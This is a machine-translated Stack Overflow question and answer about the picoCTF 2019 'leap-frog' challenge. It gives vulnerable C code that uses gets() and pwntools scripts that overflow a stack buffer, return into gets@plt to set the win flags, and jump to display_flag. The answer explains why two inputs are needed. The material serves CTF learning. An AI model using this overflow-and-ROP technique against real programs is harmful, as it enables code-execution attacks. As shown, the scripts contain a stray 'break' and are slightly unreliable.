【问题标题】:Why does this exploit require two separate payload injections rather than one?为什么这个漏洞需要两个单独的有效载荷注入而不是一个?
【发布时间】:2020-03-03 17:09:25
【问题描述】:

我是二进制开发问题的新手。这个来自 picoctf 2019,leap-frog。我感兴趣的特定解决方案使用 vuln() 函数上的缓冲区溢出来强制执行返回到获取的 PLT 条目。这样做是因为gets 允许我们写入内存中的任意位置(参见link)。我们有兴趣写信给win1win2win3。如果我们可以将这些设置为真,那么我们可以打印标志!所以,我们只需要buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables就可以利用这个程序。

来源

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>


#define FLAG_SIZE 64

bool win1 = false;
bool win2 = false;
bool win3 = false;

void leapA() {
  win1 = true;
}

void leap2(unsigned int arg_check) {
  if (win3 && arg_check == 0xDEADBEEF) {
    win2 = true;
  }
  else if (win3) {
    printf("Wrong Argument. Try Again.\n");
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void leap3() {
  if (win1 && !win1) {
    win3 = true;
  }
  else {
    printf("Nope. Try a little bit harder.\n");
  }
}

void display_flag() {
  char flag[FLAG_SIZE];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("'flag.txt' missing in the current directory!\n");
    exit(0);
  }

  fgets(flag, sizeof(flag), file);
  
  if (win1 && win2 && win3) {
    printf("%s", flag);
    return;
  }
  else if (win1 || win3) {
    printf("Nice Try! You're Getting There!\n");
  }
  else {
    printf("You won't get the flag that easy..\n");
  }
}

void vuln() {
  char buf[16];
  printf("Enter your input> ");
  return gets(buf);
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  
  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
}

以下脚本在 CTF 的 shell 中运行时打印标志

解决方案脚本

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload)
    p.sendline('\x01\x01\x01\x00')  # sets win1, win2, win3 to true via gets reading from stdin
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

以下脚本工作,但程序之间的唯一区别是这个程序合并了sendline() 调用。我猜这是因为程序还没有到达gets的调用,所以它还没有准备好从stdin输入。

失败的解决方案 1

from pwn import *

payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
    p = process('./rop')
    p.recvuntil('> ')
    p.sendline(payload+'\x01\x01\x01\x00')
    print('Flag: ' + p.recvuntil('}'))
    break
except:
    p.close()

失败的解决方案 2

然后,我尝试在不将'\x01\x01\x01\x00\' 附加到payload 的情况下运行程序,希望执行会命中gets 并等待stdin 输入;但是,我却遇到了段错误。我对这两个失败的解决方案的逻辑有什么问题?谢谢!

【问题讨论】:

    标签: c exploit gets ctf


    【解决方案1】:

    您需要两个不同的有效负载,因为对gets() 有两个不同的调用。 sendline() 将换行符附加到您的输入/有效负载 [1],gets() 读取输入直到读取换行符 [2]。所以,一个sendline() 只提供一个gets()

    为什么会有两次对gets() 的调用?嗯,对gets()第一次调用发生在vuln() 函数中,目的是改变执行流程。如果您运行该程序,gets() 会要求用户输入并将其存储在堆栈上的buf[16] 中。而且因为gets() 不检查缓冲区溢出[2],您实际上可以通过插入大于16 字节的输入来破坏堆栈。所以第一个sendline() 将有效载荷('A'*28) + p32(0x08048430) + p32(0x80486b3) + p32(0x0804a03d) 提供给第一个调用。这会破坏堆栈并改变执行流程。有效载荷中的第一个地址0x08048430gets@plt 的地址)操纵第一个gets() 的返回地址。所以当第一个gets() 完成执行时,它会跳转到第二个gets()。这是对gets()第二次调用。第二个地址0x80486b3display_flag()的地址)是第二个gets()的返回地址。所以当第二个电话离开时,它会跳转到display_flag()。第三个地址0x0804a03dwin1 变量的地址)是第二个gets() 的缓冲区。所以第二个gets() 期望来自用户的另一个输入/有效负载并将其写入win1 的地址。第二个输入由第二个sendline() 提供服务。

    您的第一个解决方案失败了,因为您只提供了第一个 gets() 调用,所以第二个 gets() 调用根本没有输入。由于同样的原因,您的第二个解决方案失败了。

    【讨论】:

    • 需要注意的是,第二个解决方案失败了,因为stdin 被关闭并且gets 只会读入一个空字符串。如果p.interactive 被调用,那么就不会有段错误。
    猜你喜欢
    • 1970-01-01
    • 2014-11-10
    • 2018-03-27
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2019-01-03
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多